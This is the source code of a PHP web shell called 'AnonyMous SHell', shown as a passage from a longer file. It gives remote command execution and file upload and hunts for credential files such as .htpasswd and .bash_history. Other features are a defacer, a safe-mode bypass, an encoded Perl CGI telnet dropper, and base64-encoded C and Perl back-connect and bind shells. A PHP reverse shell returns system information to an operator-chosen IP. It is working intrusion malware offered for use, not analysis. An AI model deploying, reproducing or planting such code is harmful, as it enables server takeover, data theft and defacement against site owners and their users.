'; $lawlx = @$_FILES["lawlx"]; if($lawlx["name"] != ''){ $fullpath = $_REQUEST["path"] . $lawlx["name"]; if (move_uploaded_file($lawlx['tmp_name'], $fullpath)) { echo "

OK-Click here!

"; } } } if(isset($_REQUEST['cm'])) { echo "
" . system($_REQUEST['cm']) . "
"; die(); } $auth_pass = "Anonymous"; function printLogin() { $status = ''; if ($_POST['pass'] != $auth_pass && $_POST['uname'] != $Pass) { $status .= 'Wrong Password :('; } echo ' AnonyMous SHell
AnonyMous SHell
Password :

'.$status.'
'; } if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])){ if(empty( $auth_pass ) ||( isset( $_POST['pass'] ) == $auth_pass && ($_POST['uname']) == $Pass)) $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; else printLogin(); } else { $os = strtolower( substr(PHP_OS,0,3) ) == "win" ? 'win' : 'nix'; $safe_mode = @ini_get('safe_mode'); $disable_functions = @ini_get('disable_functions'); $home_cwd = @getcwd(); if( isset( $_POST['c'] ) ) @chdir($_POST['c']); $cwd = @getcwd(); if( $os == 'win') { $home_cwd = str_replace("\\", "/", $home_cwd); $cwd = str_replace("\\", "/", $cwd); } if( $cwd[strlen($cwd)-1] != '/' ) $cwd .= '/'; if($os == 'win') { $aliases = array( "List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all" ); } else { $aliases = array( "List dir" => "ls -la", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" =>"locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files"=>"locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv" ); } if(isset($_POST['p1']) && $_POST['p1']=='deface') { $def = file_get_contents($deface_url); file_put_contents($_POST['c'].$_POST['p2'],$def); } function ex($in) { $out = ''; if(function_exists('exec')) { @exec($in,$out); $out = @join("\n",$out); }elseif(function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); }elseif(function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); }elseif(function_exists('shell_exec')) { $out = shell_exec($in); }elseif(is_resource($f = @popen($in,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f,1024); pclose($f); } return $out; } function which($p) { $path = ex('which '.$p); if(!empty($path)) return $path; return false; } function printHeader() { if(empty($_POST['charset'])) $_POST['charset'] = "UTF-8"; global $color, $Theme, $TabsColor; echo ' AnonyMous SHell
'; $freeSpace = @diskfreespace($GLOBALS['cwd']); $totalSpace = @disk_total_space($GLOBALS['cwd']); $totalSpace = $totalSpace?$totalSpace:1; $disable_functions = @ini_get('disable_functions'); $release = @php_uname('r'); $kernel = @php_uname('s'); if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(@posix_geteuid()); $gid = @posix_getgrgid(@posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $cwd_links = ''; $path = explode("/", $GLOBALS['cwd']); $n=count($path); for($i=0;$i<$n-1;$i++) { $cwd_links .= "".$path[$i]."/"; } $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); $opt_charsets = ''; foreach($charsets as $item) $opt_charsets .= ''; $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Defacer' => 'Deface','Adminer'=>'Adminer','Console'=>'Console','Mail Test'=>'mailtest','String Tools'=>'StringTools','Readable Dirs'=>'Readable','Jumping'=>'Jumping','Cgi Telnet'=>'SafeMode','Bypass'=>'Bypass','Network'=>'Network','Domains' => 'Domain'); if(!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout'; $m['Self Remove'] = 'SelfRemove'; $menu = ''; foreach($m as $k => $v) $menu .= ''.$k.''; $drives = ""; if ($GLOBALS['os'] == 'win') { foreach( range('a','z') as $drive ){ if (is_dir($drive.':\\')) $drives .= '[ '.$drive.' ] '; } $drives .= '
: '; } if($GLOBALS['os'] == 'nix') { $dominios = @file_get_contents("/etc/named.conf"); if(!$dominios) { $DomainS = "/var/named"; $Domainonserver = scandir($DomainS); $d0c = count($Domainonserver); } else { @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out); $out = sizeof(array_unique($out[1])); $d0c = $out." Domains"; } } else { $d0c = "Nothing here bro :( "; } if($GLOBALS['os'] == 'nix' ){ $usefl = ''; $dwnldr = ''; if(!@ini_get('safe_mode')) { $temp = array(); $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); foreach($userful as $item) { if(which($item)) $temp[]= $item; } $usefl = implode(', ',$temp); $temp = array(); $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; } $dwnldr = implode(', ',$temp); } else { $usefl = ' ------- '; $dwnldr = ' ------- '; } } else { $usefl = ' ------- '; $dwnldr = ' ------- '; } echo ''. '
'.$menu.'
'; } function printFooter() { $is_writable = is_writable($GLOBALS['cwd'])?"[ Writeable ]":"[ Not writable ]"; echo '
Change dir:
Read file:
Make dir: '.$is_writable.'
Make file: '.$is_writable.'
Execute:
Upload file: '.$is_writable.'

'; } if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } } if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } } function viewSize($s) { if($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824 ). ' GB'; elseif($s >= 1048576) return sprintf('%1.2f', $s / 1048576 ) . ' MB'; elseif($s >= 1024) return sprintf('%1.2f', $s / 1024 ) . ' KB'; else return $s . ' B'; } function perms($p) { if (($p & 0xC000) == 0xC000)$i = 's'; elseif (($p & 0xA000) == 0xA000)$i = 'l'; elseif (($p & 0x8000) == 0x8000)$i = '-'; elseif (($p & 0x6000) == 0x6000)$i = 'b'; elseif (($p & 0x4000) == 0x4000)$i = 'd'; elseif (($p & 0x2000) == 0x2000)$i = 'c'; elseif (($p & 0x1000) == 0x1000)$i = 'p'; else $i = 'u'; $i .= (($p & 0x0100) ? 'r' : '-'); $i .= (($p & 0x0080) ? 'w' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); $i .= (($p & 0x0020) ? 'r' : '-'); $i .= (($p & 0x0010) ? 'w' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); $i .= (($p & 0x0004) ? 'r' : '-'); $i .= (($p & 0x0002) ? 'w' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); return $i; } function viewPermsColor($f) { if (!@is_readable($f)) return ''.perms(@fileperms($f)).''; elseif (!@is_writable($f)) return ''.perms(@fileperms($f)).''; else return ''.perms(@fileperms($f)).''; } if(!function_exists("scandir")) { function scandir($dir) { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) { $files[] = $filename; } return $files; } } function actionSecInfo() { printHeader(); echo '

Server Security Information

'; function showSecParam($n, $v) { $v = trim($v); if($v) { echo ''.$n.': '; if(strpos($v, "\n") === false) echo $v.'
'; else echo '
'.$v.'
'; } } showSecParam('Server software', @getenv('SERVER_SOFTWARE')); showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none'); showSecParam('Open base dir', @ini_get('open_basedir')); showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); showSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); $temp=array(); if(function_exists('mysql_get_client_info')) $temp[] = "MySql (".mysql_get_client_info().")"; if(function_exists('mssql_connect')) $temp[] = "MSSQL"; if(function_exists('pg_connect')) $temp[] = "PostgreSQL"; if(function_exists('oci_connect')) $temp[] = "Oracle"; showSecParam('Supported databases', implode(', ', $temp)); echo '
'; if( $GLOBALS['os'] == 'nix' ) { $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes [view]":'no'); showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes [view]":'no'); showSecParam('OS version', @file_get_contents('/proc/version')); showSecParam('Distr name', @file_get_contents('/etc/issue.net')); if(!$GLOBALS['safe_mode']) { echo '
'; $temp=array(); foreach ($userful as $item) if(which($item)){$temp[]=$item;} showSecParam('Userful', implode(', ',$temp)); $temp=array(); foreach ($danger as $item) if(which($item)){$temp[]=$item;} showSecParam('Danger', implode(', ',$temp)); $temp=array(); foreach ($downloaders as $item) if(which($item)){$temp[]=$item;} showSecParam('Downloaders', implode(', ',$temp)); echo '
'; showSecParam('Hosts', @file_get_contents('/etc/hosts')); showSecParam('HDD space', ex('df -h')); showSecParam('Mount options', @file_get_contents('/etc/fstab')); } } else { showSecParam('OS Version',ex('ver')); showSecParam('Account Settings',ex('net accounts')); showSecParam('User Accounts',ex('net user')); } echo '
'; printFooter(); } function actionFilesMan() { printHeader(); echo '

File Manager

'; if(isset($_POST['p1']) && $_POST['p1']!='deface') { switch($_POST['p1']) { case 'uploadFile': if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!"; break; break; case 'mkdir': if(!@mkdir($_POST['p2'])) echo "Can't create new dir"; break; case 'delete': function deleteDir($path) { $path = (substr($path,-1)=='/') ? $path:$path.'/'; $dh = opendir($path); while ( ($item = readdir($dh) ) !== false) { $item = $path.$item; if ( (basename($item) == "..") || (basename($item) == ".") ) continue; $type = filetype($item); if ($type == "dir") deleteDir($item); else @unlink($item); } closedir($dh); rmdir($path); } if(is_array(@$_POST['f'])) foreach($_POST['f'] as $f) { $f = urldecode($f); if(is_dir($f)) deleteDir($f); else @unlink($f); } break; case 'paste': if($_SESSION['act'] == 'copy') { function copy_paste($c,$s,$d){ if(is_dir($c.$s)){ mkdir($d.$s); $h = opendir($c.$s); while (($f = readdir($h)) !== false) if (($f != ".") and ($f != "..")) { copy_paste($c.$s.'/',$f, $d.$s.'/'); } } elseif(is_file($c.$s)) { @copy($c.$s, $d.$s); } } foreach($_SESSION['f'] as $f) copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']); } elseif($_SESSION['act'] == 'move') { function move_paste($c,$s,$d){ if(is_dir($c.$s)){ mkdir($d.$s); $h = opendir($c.$s); while (($f = readdir($h)) !== false) if (($f != ".") and ($f != "..")) { copy_paste($c.$s.'/',$f, $d.$s.'/'); } } elseif(is_file($c.$s)) { @copy($c.$s, $d.$s); } } foreach($_SESSION['f'] as $f) @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f); } unset($_SESSION['f']); break; default: if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) { $_SESSION['act'] = @$_POST['p1']; $_SESSION['f'] = @$_POST['f']; foreach($_SESSION['f'] as $k => $f) $_SESSION['f'][$k] = urldecode($f); $_SESSION['cwd'] = @$_POST['c']; } break; } echo ''; } $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); if($dirContent === false) { echo 'Can\'t open this folder!'; return; } global $sort; $sort = array('name', 1); if(!empty($_POST['p1'])) { if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]); } echo ' '; echo ""; $dirs = $files = $links = array(); $n = count($dirContent); for($i=0;$i<$n;$i++) { $ow = @posix_getpwuid(@fileowner($dirContent[$i])); $gr = @posix_getgrgid(@filegroup($dirContent[$i])); $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'].$dirContent[$i], 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) ); if(@is_file($GLOBALS['cwd'].$dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file')); elseif(@is_link($GLOBALS['cwd'].$dirContent[$i])) $links[] = array_merge($tmp, array('type' => 'link')); elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir')); } $GLOBALS['sort'] = $sort; function cmp($a, $b) { if($GLOBALS['sort'][0] != 'size') return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1); else return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); } usort($files, "cmp"); usort($dirs, "cmp"); usort($links, "cmp"); $files = array_merge($dirs, $links, $files); $l = 0; foreach($files as $f) { echo ''; $l = $l?0:1; } echo '
NameSizeModifyOwner/GroupPermissionsActions
'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');">[ '.htmlspecialchars($f['name']).' ]').''.(($f['type']=='file')?viewSize($f['size']):$f['type']).''.$f['modify'].''.$f['owner'].'/'.$f['group'].''.$f['perms'] .'R T'.(($f['type']=='file')?' E D':'').'
 
'; printFooter(); } function actionStringTools() { if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i

String Conversions

'; $stringTools = array( 'Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'bin2hex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen', ); if(empty($_POST['ajax'])&&!empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; echo "
send using AJAX
";
		if(!empty($_POST['p1'])) {
			if(function_exists($_POST['p1']))
			echo htmlspecialchars($_POST['p1']($_POST['p2']));
		}
		echo"
"; printFooter(); } function actionFilesTools() { if( isset($_POST['p1']) ) $_POST['p1'] = urldecode($_POST['p1']); if(@$_POST['p2']=='download') { if(is_file($_POST['p1']) && is_readable($_POST['p1'])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); if (function_exists("mime_content_type")) { $type = @mime_content_type($_POST['p1']); header("Content-Type: ".$type); } $fp = @fopen($_POST['p1'], "r"); if($fp) { while(!@feof($fp)) echo @fread($fp, 1024); fclose($fp); } } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) { } exit; } if( @$_POST['p2'] == 'mkfile' ) { if(!file_exists($_POST['p1'])) { $fp = @fopen($_POST['p1'], 'w'); if($fp) { $_POST['p2'] = "edit"; fclose($fp); } } } printHeader(); echo '

File Tools

'; if( !file_exists(@$_POST['p1']) ) { echo 'File not exists'; printFooter(); return; } $uid = @posix_getpwuid(@fileowner($_POST['p1'])); $gid = @posix_getgrgid(@fileowner($_POST['p1'])); echo 'Name: '.htmlspecialchars($_POST['p1']).' Size: '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' Permission: '.viewPermsColor($_POST['p1']).' Owner/Group: '.$uid['name'].'/'.$gid['name'].'
'; echo 'Create time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'

'; if( empty($_POST['p2']) ) $_POST['p2'] = 'view'; if( is_file($_POST['p1']) ) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); else $m = array('Chmod', 'Rename', 'Touch'); foreach($m as $v) echo ''.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ]':$v).' '; echo '

'; switch($_POST['p2']) { case 'view': echo '
';
				$fp = @fopen($_POST['p1'], 'r');
				if($fp) {
					while( !@feof($fp) )
						echo htmlspecialchars(@fread($fp, 1024));
					@fclose($fp);
				}
				echo '
'; break; case 'highlight': if( is_readable($_POST['p1']) ) { echo '
'; $code = highlight_file($_POST['p1'],true); echo str_replace(array(''), array(''),$code).'
'; } break; case 'chmod': if( !empty($_POST['p3']) ) { $perms = 0; for($i=strlen($_POST['p3'])-1;$i>=0;--$i) $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); if(!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!
'; else die(''); } echo '
'; break; case 'edit': if( !is_writable($_POST['p1'])) { echo 'File isn\'t writeable'; break; } if( !empty($_POST['p3']) ) { @file_put_contents($_POST['p1'],$_POST['p3']); echo 'Saved!
'; } echo '
'; break; case 'hexdump': $c = @file_get_contents($_POST['p1']); $n = 0; $h = array('00000000
','',''); $len = strlen($c); for ($i=0; $i<$len; ++$i) { $h[1] .= sprintf('%02X',ord($c[$i])).' '; switch ( ord($c[$i]) ) { case 0: $h[2] .= ' '; break; case 9: $h[2] .= ' '; break; case 10: $h[2] .= ' '; break; case 13: $h[2] .= ' '; break; default: $h[2] .= $c[$i]; break; } $n++; if ($n == 32) { $n = 0; if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
';} $h[1] .= '
'; $h[2] .= "\n"; } } echo '
'.$h[0].'
'.$h[1].'
'.htmlspecialchars($h[2]).'
'; break; case 'rename': if( !empty($_POST['p3']) ) { if(!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!
'; else die(''); } echo '
'; break; case 'touch': if( !empty($_POST['p3']) ) { $time = strtotime($_POST['p3']); if($time) { if(@touch($_POST['p1'],$time,$time)) die(''); else { echo 'Fail!'; } } else echo 'Bad time format!'; } echo '
'; break; case 'mkfile': break; } echo '
'; printFooter(); } function adminer($url, $isi) { $fp = fopen($isi, "w"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FILE, $fp); return curl_exec($ch); curl_close($ch); fclose($fp); ob_flush(); flush(); } function actionSafeMode() { printHeader(); echo "

Cgi Telnet

"; $cgi_dir = mkdir('telnet', 0755); chdir('telnet'); $file_cgi = "cgi.new"; $memeg = ".htaccess"; $isi_htcgi = "OPTIONS Indexes FollowSymLinks +ExecCGI\nAddType application/x-httpd-cgi .new\nAddHandler cgi-script .new"; $htcgi = fopen(".htaccess", "w"); $cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+QW5vbnlNb3VzPC9mb250PiI7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zaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs="; $cgi = fopen($file_cgi, "w"); fwrite($cgi, base64_decode($cgi_script)); fwrite($htcgi, $isi_htcgi); chmod($file_cgi, 0755); chmod($memeg, 0755); echo "

[ Done ... Click Here ]

"; printFooter(); } function actionConsole() { if(isset($_POST['ajax'])) { $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; ob_start(); echo "document.cf.cmd.value='';\n"; $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0")); if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { if(@chdir($match[1])) { $GLOBALS['cwd'] = @getcwd(); echo "document.mf.c.value='".$GLOBALS['cwd']."';"; } } echo "document.cf.output.value+='".$temp."';"; echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;"; $temp = ob_get_clean(); echo strlen($temp), "\n", $temp; exit; } printHeader(); echo ''; echo '

Console

send using AJAX
'; echo '
'; printFooter(); } function actionLogout() { echo 'Get Lost

Chrome PointerBye
'; session_destroy(); } function actionNetwork() { printHeader(); $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oP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gICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9"; $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; echo '

Network tools



Back-connect to
Server: Port: Using:


Bind port to /bin/sh
Port: Using:

'; if(isset($_POST['p1'])) { function cf($f,$t) { $w=@fopen($f,"w") or @function_exists('file_put_contents'); if($w) { @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t)); @fclose($w); } } if($_POST['p1'] == 'bpc') { cf("/tmp/bp.c",$bind_port_c); $out = ex("gcc -o /tmp/bp /tmp/bp.c"); @unlink("/tmp/bp.c"); $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &"); echo "
$out\n".ex("ps aux | grep bp")."
"; } if($_POST['p1'] == 'bpp') { cf("/tmp/bp.pl",$bind_port_p); $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &"); echo "
$out\n".ex("ps aux | grep bp.pl")."
"; } if($_POST['p1'] == 'bcc') { cf("/tmp/bc.c",$back_connect_c); $out = ex("gcc -o /tmp/bc /tmp/bc.c"); @unlink("/tmp/bc.c"); $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &"); echo "
$out\n".ex("ps aux | grep bc")."
"; } if($_POST['p1'] == 'bcp') { cf("/tmp/bc.pl",$back_connect_p); $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &"); echo "
$out\n".ex("ps aux | grep bc.pl")."
"; } if($_POST['p1'] == 'php') { $ip = $_POST['p2']; $port = $_POST['p3']; $sockfd = fsockopen($ip, $port, $errno, $errstr); if ($errno != 0) { echo "$errno : $errstr"; } else if (!$sockfd) { $result = "

Unexpected error has occured, connection may have failed.

"; } else { fputs($sockfd, "..:: BackConnect Php By Anonymous ::.."); $dir = shell_exec("pwd"); $sysinfo = shell_exec("uname -a"); $time = Shell_exec("time"); $len = 1337; fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, ""); while (!feof($sockfd)) { $cmdPrompt = '[Anonymous]#:> '; fputs($sockfd, $cmdPrompt); $command = fgets($sockfd, $len); fputs($sockfd, "" . shell_exec($command) . ""); } fclose($sockfd); } } echo "

"; } echo '
'; printFooter(); } function actionReadable() { printHeader(); echo '

Readable Dirs

'; echo '
'; $sm = ini_get('safe_mode'); if($sm) { echo '
Error: safe_mode = on

'; } else { @$passwd = file('/etc/passwd','r'); if (!$passwd) { echo '
[-] Error : coudn`t read /etc/passwd

'; } else { $pub = array(); $users = array(); $conf = array(); $i = 0; foreach($passwd as $p) { $r = explode(':',$p); $dirz = $r[5].'/public_html/'; if(strpos($r[5],'home')) { array_push($users,$r[0]); if (is_readable($dirz)) { array_push($pub,$dirz); } } } echo '

'; echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."
"; echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."


"; foreach ($pub as $user) { echo $user."
"; } echo "


[+] Complete...\n"."
"; } } echo '
'; printFooter(); } function actionBypass() { printHeader(); echo '

Bypass

'; echo '
'; echo "

| SAFE MODE AND MOD SECURITY DISABLED BYPASS |

| ".$GLOBALS['cwd']." |
"; echo '
[ PHP.INI ]
